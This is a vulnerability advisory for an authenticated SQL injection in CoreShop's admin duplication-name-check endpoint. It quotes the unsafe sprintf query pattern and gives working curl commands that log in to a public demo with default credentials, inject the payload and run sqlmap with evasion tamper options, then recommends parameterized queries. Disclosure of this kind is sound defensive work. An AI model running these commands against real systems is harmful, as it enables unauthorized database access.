CVE-2026-23959

CoreShop is a Pimcore enhanced eCommerce solution. An error-based SQL Injection vulnerability was identified in versions prior to 4.1.9 in the CustomerTransformerController within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction. Version 4.1.9 fixes the issue.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

---

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

---

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

---

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

---

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.
